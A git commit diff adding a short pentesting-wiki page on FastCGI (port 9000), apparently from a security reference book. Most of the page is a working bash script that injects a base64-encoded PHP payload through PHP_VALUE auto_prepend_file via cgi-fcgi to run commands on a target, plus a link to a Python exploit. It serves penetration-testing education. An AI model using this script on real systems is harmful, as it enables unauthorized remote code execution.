GitBook: [master] 2 pages modified

This commit is contained in:
CPol 2021-01-06 17:11:57 +00:00 committed by gitbook-bot
parent be4ca1a821
commit bc9cb61119
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
2 changed files with 37 additions and 0 deletions

View File

@ -282,6 +282,7 @@
* [6379 - Pentesting Redis](pentesting/6379-pentesting-redis.md)
* [8009 - Pentesting Apache JServ Protocol \(AJP\)](pentesting/8009-pentesting-apache-jserv-protocol-ajp.md)
* [8089 - Splunkd](pentesting/8089-splunkd.md)
* [9000 - Pentesting FastCGI](pentesting/9000-pentesting-fastcgi.md)
* [9001 - Pentesting HSQLDB](pentesting/9001-pentesting-hsqldb.md)
* [9042/9160 - Pentesting Cassandra](pentesting/cassandra.md)
* [9100 - Pentesting Raw Printing \(JetDirect, AppSocket, PDL-datastream\)](pentesting/9100-pjl.md)

View File

@ -0,0 +1,36 @@
# 9000 - Pentesting FastCGI
## Basic Information
If you want to **learn what is FastCGI** check the following page:
{% page-ref page="pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md" %}
By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.
## RCE
It's quiet easy to make FastCGI execute arbitrary code:
```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)